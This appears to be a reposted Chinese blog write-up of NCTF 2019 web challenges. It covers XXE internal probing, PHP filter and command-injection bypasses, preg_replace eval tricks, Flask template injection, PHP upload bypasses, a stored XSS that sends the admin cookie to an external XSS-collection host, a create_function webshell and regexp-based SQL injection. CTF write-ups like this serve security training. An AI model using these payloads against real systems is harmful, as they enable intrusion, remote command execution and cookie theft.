nctf2019复现

0x01 Fake xml

xxe-lab原题
在这里插入图片描述

0x02 True xml

这题虽然能读文件,但是读不了flag,貌似是因为权限问题,但是读/etc/passwd就可以,所以排除blind xxe

想要命令执行用expect://ls也不行,因为默认是不安装该模块的,所以也排除命令执行了,放了wp才知道是要内网探测,读/etc/hosts:
在这里插入图片描述
可以看到有一个内网ip,再尝试读一下多个内网ip,读/proc/net/arp:
在这里插入图片描述
发现了多个内网ip,挨个用http://读即可:
在这里插入图片描述

0x03 easyphp

这题直接考绕过了,源码如下:

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('23333333');
}
23333333

1st:

首先get传参一个num,需要它不等于23333,但是在正则匹配里只能匹配到23333,可以采用%0a绕过,%0a是换行符

在这里插入图片描述

2nd

//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);
    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'cxhp', '0123');
        $b = strtr($md5_2, 'cxhp', '0123');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}
1st ok
is str1 numeric??????

传入两个数str1,str2,首先str1只能为数字,而且两个数的md5值不能一样,经过函数替换后的值必须一样

先看到最关键的这两行

$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');

strtr函数会挨个把cxhp替换为0123

而240610708这个数恰好是数字,且md5是以0e开头的,所以令str1等于240610708

只要能得到一个数,使得其md5后的数以ce开头,剩下的部分要么全为数字,要么只包含cxhp,经过strtr替换,就能得到一个0e开头的全数字的值,就能达到一开始md5不同,替换后md5相同的目的了,写脚本爆破:
在这里插入图片描述
str2=9427417即可
在这里插入图片描述

3rd

//3rd
$cmd = $_GET['q_w_q'];
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
    die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
    $arr = explode(' ', $cmd);
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
        if(substr_count($cmd, 'cat') === 0){
            system($cmd);
        }
        else{
            die('ban cat :) ');
        }
    }
    else{
        die('bad guy!');
    }
}
else{
    die('nonono _ is bad');
}
?>

第三层首先对传参的数和值进行过滤,不能包含_,而我们需要执行的命令必须靠q_w_q传参,怎么办?根据php的特性:
在这里插入图片描述
所以可以用点绕过下划线的过滤,继续往下看

cmd长度<8,不能以ls,pwd开头,并且不能包含cat:
用分号闭合,就可以执行其他命令了

q.w.q=n;ls

在这里插入图片描述
再用tac代替cat,*号匹配flag
z

0x04 replace

进去之后发现是一个文本替换的东西,随便输了一下,发现报错是preg_place
在这里插入图片描述
原本以为是要用到/e修饰符来让rep执行命令,试了几次发现走不通
不过在rep中输入phpinfo();,然后让pat匹配到sub的值,直接输出了phpinfo,看来是准备好了的
在这里插入图片描述
不过system,assert这些函数都被过滤了
在这里插入图片描述
尝试print_r(getallheaders());
在这里插入图片描述
返回了request头,那我们就在传入一个请求头为system(‘ls’);,然后用end函数指向最后一个也就是system(‘ls’);,再用eval执行,这样就绕过了限制
在这里插入图片描述
执行了ls,找flag
在这里插入图片描述

flask

首页只是几个加密的框,没啥用,因为是flask,就想到模板注入,在url里看能不能输出{{1+1}}
在这里插入图片描述
返回了1+1的值,找到了注入点,经过测试发现为python3,所以需要用到popen,网上很多payload,直接套就行了
在这里插入图片描述
在这里插入图片描述

0x05 upload your shell

找到上传点,测试了一下发现过滤了<?,可以用javascript类型的php绕过

<script language=php> 

第二个检测了文件的内容,加上GIF头或者一些图片信息即可绕过:
在这里插入图片描述
不过对文件的后缀名做了白名单检测,那就先上传jpg的马看看,返回首页发现几乎所有的页面都由action=包含
在这里插入图片描述
包含该图片即可
在这里插入图片描述

0x06 simple xss

在这里插入图片描述
随便注册一个账号登陆进去
在这里插入图片描述
随便输个内容F12看一下
在这里插入图片描述
闭合<td>标签即可xss

</td><script>alert(1);</script>

在这里插入图片描述
这里to谁就会把内容发给谁,所以我们to给admin,用xss平台接受admin信息:

</td><script src=https://xsspt.com/6UTFH6></script>

在这里插入图片描述
这里的user看起来像是md5加密,可以md5解密user的值,为adminchenxiyuan,证明是admin的cookie。在登陆页面修改cookie,访问home.php即可
在这里插入图片描述
在这里插入图片描述

0x07 hacker_backdoor

<?php
error_reporting(0);
if(!isset($_GET['code']) || !isset($_GET['useful'])){
    highlight_file(__file__);
}
$code = $_GET['code'];
$usrful = $_GET['useful'];

function waf($a){
    $dangerous = get_defined_functions();
    array_push($dangerous["internal"], 'eval', 'assert');
    foreach ($dangerous["internal"] as $bad) {
        if(strpos($a,$bad) !== FALSE){
        return False;
        break;
        }
    }
    return True;
}

if(file_exists($usrful)){
    if(waf($code)){
        eval($code);
    }
    else{
        die("oh,不能输入这些函数哦 :) ");
    }
}

首先审计源码,code过滤了所有系统定义的函数,可以在本地用get_defined_functions()函数看一下

还好之前做了极客大挑战的题,知道可以用url编码加反码绕过,在根据php特性,拼接执行,详细的可以看一下这个:传送门

useful需要通过file_exist验证,令它=…即可绕过如下图:
在这里插入图片描述
成功执行了phpinfo(),并且看到禁用了很多函数,但是还有creat_function,首先用该函数创建一个我们自己的函数func

$func =create_function('',$_REQUEST['cmd']);
$func();

因为这里creat_function也在定义的函数中,所以也要采用编码绕过,再传参cmd=echo 1;成功执行
在这里插入图片描述
写shell:
在这里插入图片描述
蚁剑连接:
在这里插入图片描述
/readflag
在这里插入图片描述

0x08 SQLI

在这里插入图片描述
在源码中发现hint:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

只要输入正确的密码就能拿flag,但是可以看到过滤了一堆东西,不过\和||并没有被过滤,可以用
\转义掉username的第二个单引号,然后用;闭合语句,%00截断passwd的第二个单引号,这样就构造好了一个注入语句,空格可以用/**/代替,再用正则挨个匹配passwd:

passwd=/**/||/**/passwd/**/regexp/**/0x79&username=\

在这里插入图片描述
因为过滤单引号所以用十六进制代替,如果匹配正确就会进入这个页面,写脚本爆破,一个个测,例如密码为:you …,则0x796f75匹配正确

NCTF{SQLi_is_not_Just_sq1}

发布了22 篇原创文章 · 获赞 0 · 访问量 861

猜你喜欢

转载自blog.csdn.net/chasingin/article/details/103261397